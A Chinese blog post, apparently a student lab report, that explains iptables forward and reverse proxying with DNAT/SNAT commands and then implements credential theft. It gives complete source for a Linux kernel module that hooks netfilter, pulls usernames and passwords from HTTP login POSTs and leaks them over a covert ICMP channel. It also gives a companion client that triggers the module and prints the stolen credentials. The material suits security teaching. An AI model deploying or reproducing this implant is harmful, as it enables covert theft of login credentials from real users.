东寻

导航

信息安全实验2:iptables 和 netfilter

信息安全实验二

实验2: iptables 和 netfilter
1. 使用iptables命令实现代理。需要3台机器(2台虚拟机+主机)进行演示。
2. 基于netfilter,实现对使用HTTP协议的网站的用户名和密码的窃取。

iptables命令实现代理

正向代理

正向代理类似一个跳板机,代理访问外部资源。

img

客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的IP地址,还有代理程序的端口。

如果用户访问不了某网站,但是能访问一个代理服务器,这个代理服务器能访问该网站,就可以先连上代理服务器,告诉他需要那个无法访问网站的内容,代理服务器去取回来,然后返回给用户。从网站的角度,只在代理服务器在内容的时候有一次记录,但可能并不知道是用户的请求,也隐藏了用户的信息,这取决于代理告不告诉网站。

反向代理

反向代理实际运行方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。

img

正向代理与反向代理区别

  • 正向代理 是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。

    正向代理的用途:

    • 访问原来无法访问的资源,比如Google
    • 用做缓存,加速访问资源
    • 对客户端访问授权,上网进行认证
    • 代理可以记录用户访问记录(上网行为管理),对外隐藏用户信息
  • 反向代理 客户端是无感知代理的存在的,反向代理对外都是透明的,访问者并不知道自己访问的是一个代理,因为客户端不需要任何配置就可以访问。

    反向代理的用途:

    • 保证内网的安全,可以使用反向代理提供WAF功能,阻止web攻击。大型网站通常将反向代理作为公网访问地址,Web服务器是内网。

    • 负载均衡,通过反向代理服务器来优化网站的负载。

      img

使用iptables命令实现代理

实验需要同一网络下的三台主机:

IP 角色
192.168.107.130 用户
192.168.107.131 网页
192.168.107.132 代理

首先在代理机上开启转发数据包的能力:

cd /proc/sys/net/ipv4   
su //如果root用户无法登录,需要先修改密码
echo 1 > ip_forward

之后查看当前代理机的初始状态:

sudo iptables -L -t nat

对nat表进行配置:

sudo iptables -t  nat -A PREROUTING -d 192.168.107.132 -p tcp --dport 80 -j DNAT --to-destination 192.168.107.131:80  
sudo iptables -t  nat -A POSTROUTING -p tcp -s 192.168.107.130 -j SNAT --to 192.168.107.132

再次查看代理机的状态:

三台机器的状态

192.168.107.132作为代理,本身并没有相应服务提供给用户:

192.168.107.131发布网页,把相应服务提供给用户:

192.168.107.131作为用户机访问代理机。

演示效果

在用户机上访问代理,得到代理后返回的192.168.107.131主机的网页:

netfilter窃取用户名和密码

Netfilter子系统

Netfilter在五个点拦截报文,每个拦截点对应iptable的一个chain

  1. PREROUTING: 在报文路由前进行对报文的拦截
  2. INPUT:对到本机的报文进行拦截
  3. FORWARD:对需要本机进行三层转发的报文进行拦截
  4. OUTPUT:对本机生成的报文进行拦截
  5. POSTROUTIN:路由后对报文进行拦截

Netfilter中报文有三条处理流程:

发往本机的报文:

img

经过本机三层转发的报文

img

本机产生往外发送的报文

img

实验过程

首先通过网页登录,利用wireshark抓取网页提交的表单信息:

在被攻击者主机上安装sniff内核模块:

make			// 编译snif.c
lsmod			// 查看当前模块
sudo insmod sniff.ko	// 安装sniff模块
dmesg			// 查看记录
sudo rmmod sniff	// 卸载内核模块

被攻击的主机再次访问网页会被抓取数据:

在攻击者主机上通过getpwd程序,可以获取到被攻击机器的用户名与密码:

gcc -o getpwd getpwd.c		// 编译
sudo ./getpwd 192.168.107.132	// 192.168.107.132是被安装了sniff模块的被攻击主机

实验代码

sniff.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE 0x77 // ICMP CODE
#define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)

#define SUCCESS  1
#define FAILURE -1

static const char *post_uri   = "POST /coremail/index.jsp?cus=1";
static const int post_uri_len = 30;
static const unsigned int target_ip = 138421962;

static char *username = NULL;
static char *password = NULL;

static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;

static unsigned int findpkt_iwant(struct sk_buff *skb) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;
    int tcp_payload_len = 0;

    ip = (struct iphdr *)skb_network_header(skb);
    if (ip->daddr != 138421962 || ip->protocol != IPPROTO_TCP)
        return FAILURE;

    tcp = (struct tcphdr *)skb_transport_header(skb);
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
    data = (char *)((char *)tcp + (tcp->doff<<2));
    if (tcp->dest != htons(80)
        || tcp_payload_len < post_uri_len
        || strncmp(data, post_uri, post_uri_len) != 0) {
        return FAILURE;
    }
    return SUCCESS;
}

char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
    int index = 0, i = 0;
    char *value = NULL;

    if ((index = strstr(urlparam, key)) == -1)
        return NULL;
    urlparam += (index + klen);
    ulen -= (index + klen);
    for (i = 0; i < ulen && urlparam[i] != '&'; i++);
    if (i >= ulen)
        return NULL;
    // i + 1, for the last char '\0'
    if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
        return NULL;
    memcpy(value, urlparam, i);
    value[i] = '\0';
    return value;
}

static void fetch_http(struct sk_buff *skb) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;   // tcp data
    int tcp_payload_len = 0;
    int i = 0, index = -1;
    int content_len = 0; // Cotent-Length

    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
    data = (char *)tcp + (tcp->doff<<2);

    index = strstr(data, "Content-Length: ");
    if (index == -1)
        return;
    data += (index + 16); 
    for (i = 0; data[i] != '\r'; i++)
        content_len = content_len*10 + ((int)data[i]-'0');
    data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
    // 提取用户名
    username = fetch_urlparam(data, content_len, "uid=", 4);
    // 提取密码
    password = fetch_urlparam(data, content_len, "password=", 9);
    if (username == NULL || password == NULL)
        return;
    printk("username: %s\n", username);
    printk("password: %s\n", password);
}

static int hasPair(void) {
    return username != NULL && password != NULL;
}

static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state) {
    if (findpkt_iwant(skb) == FAILURE)
        return NF_ACCEPT;
    if (!hasPair())
        fetch_http(skb);
    return NF_ACCEPT;
}

static unsigned int watch_in(void *priv,
                             struct sk_buff *skb,
                             const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct icmphdr *icmp = NULL;
    int icmp_payload_len = 0;
    char *cp_data = NULL; 	  // copy pointer
    unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

    ip = (struct iphdr *)skb_network_header(skb);
    if (!hasPair() || ip->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
    // 最后8字节为 ICMP首部长度
    icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
    if (icmp->code != MAGIC_CODE
        || icmp->type != ICMP_ECHO
        || icmp_payload_len < REPLY_SIZE) {
        return NF_ACCEPT;
    }

    // 交换源目的IP用于回发数据
    temp_ipaddr = ip->saddr;
    ip->saddr = ip->daddr;
    ip->daddr = temp_ipaddr;

    skb->pkt_type = PACKET_OUTGOING;
    switch (skb->dev->type) {
        case ARPHRD_PPP: break;
        case ARPHRD_LOOPBACK:
        case ARPHRD_ETHER: {
            unsigned char temp_hwaddr[ETH_ALEN];
            struct ethhdr *eth = NULL;
            // Move the data pointer to point to the link layer header
            eth = (struct ethhdr *)eth_hdr(skb);
            skb->data = (unsigned char*)eth;
            skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
            memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
            memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
            memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
            break;
        }
    }

    // copy target_ip, username, password into packet
    cp_data = (char *)icmp + 8;
    memcpy(cp_data, &target_ip, 4);
    memcpy(cp_data+4, username, 16);
    memcpy(cp_data+20, password, 16);

    printk("username: %s\n", username);
    printk("password: %s\n", password);
    dev_queue_xmit(skb); // 发送数据帧
    kfree(username);
    kfree(password);
    username = password = NULL;
    return NF_STOLEN;
}

int init_module(void) {
    pre_hook.hook = watch_in;
    pre_hook.pf = PF_INET;
    pre_hook.hooknum = NF_INET_PRE_ROUTING;
    pre_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &pre_hook);

    post_hook.hook = watch_out;
    post_hook.pf = PF_INET;
    post_hook.hooknum = NF_INET_POST_ROUTING;
    post_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &post_hook);
    printk("init_module\n");
    return 0;
}

void cleanup_module(void) {
    nf_unregister_net_hook(&init_net, &pre_hook);
    nf_unregister_net_hook(&init_net, &post_hook);
    printk("cleanup_module\n");
}

getpwd.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>

#define BUFF_SIZE  256
#define SUCCESS    1
#define FAILURE    -1
#define MAGIC_CODE 0x77

struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];

int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);

int main(int argc, char **argv) {
    if (load_args(argc, argv) < 0) {
        printf("command format error!\n");
        print_cmdprompt();
        return FAILURE;
    }
    recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (recvsockfd < 0 || sendsockfd < 0) {
        perror("socket creation error");
        return FAILURE;
    }
    printf("running...\n");
    // 发送ICMP ECHO 回送请求报文
    send_icmp_request();
    // 接收ICMP ECHO 回送回答报文
    recv_icmp_reply();
    close(sendsockfd);
    close(recvsockfd);
    return 0;
}

int load_args(const int argc, char *argv[]) {
    if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
        return FAILURE;
    return SUCCESS;
}

void print_cmdprompt() {
    printf("\ngetpass [remoteip]\n\n");
    printf("\t    [remoteip]       Victim host IP address, eg: 192.168.107.132\n");
}

int send_icmp_request() {
    bzero(sendbuff, BUFF_SIZE);
    // 构造ICMP ECHO首部
    struct icmp *icmp = (struct icmp *)sendbuff;
    icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
    icmp->icmp_code = MAGIC_CODE;
    icmp->icmp_cksum = 0;
    // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 		                       // 36B(4B(target_ip)+16B(username)+16B(password))
    icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

    printf("sending request........\n");
    int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
    if (ret < 0) {
        perror("send error");
    } else {
        printf("send a icmp echo request packet!\n\n");
    }
    return SUCCESS;
}

int recv_icmp_reply() {
    bzero(recvbuff, BUFF_SIZE);
    printf("waiting for reply......\n");
    if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
        printf("failed getting reply packet\n");
        return FAILURE;
    }
    struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
    memcpy(&server_addr, (char *)icmp+8, 4);
    // 打印IP包字节数据,便于调试
    print_ippacket_inbyte(recvbuff);
    printf("stolen from http server: %s\n", inet_ntoa(server_addr));
    printf("username: %s\n", (char *)((char *)icmp + 12));
    printf("password: %s\n", (char *)((char *)icmp + 28));
    return SUCCESS;
}

unsigned short cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    // len -= 2,sizeof(unsigned short) = 2;
    // sum += *(addr++),每次偏移2Byte
    for (; len > 1; sum += *(addr++), len -= 2);
    // 每次处理2Byte,可能会存在多余的1Byte
    sum += len == 1 ? *addr : 0;
    // sum:高16位 + 低16位,高16位中存在可能的进位
    sum = (sum >> 16) + (sum & 0xffff);
    // sum + sum的高16位,高16位中存在可能的进位
    sum += (sum >> 16);
    // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
    res = ~sum;
    return res;
}

void print_ippacket_inbyte(unsigned char *ipbuff) {
    struct ip *ip = (struct ip *)ipbuff;
    printf("                %02x %02x", ipbuff[0], ipbuff[1]);
    for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
        if (i % 16 == 0)
            printf("\n");
        if (i % 8 == 0)
            printf("  ");
        printf("%02x ", ipbuff[i+2]);
    }
    printf("\n");
}

posted on 2020-07-04 23:55  东寻  阅读(1091)  评论(0编辑  收藏  举报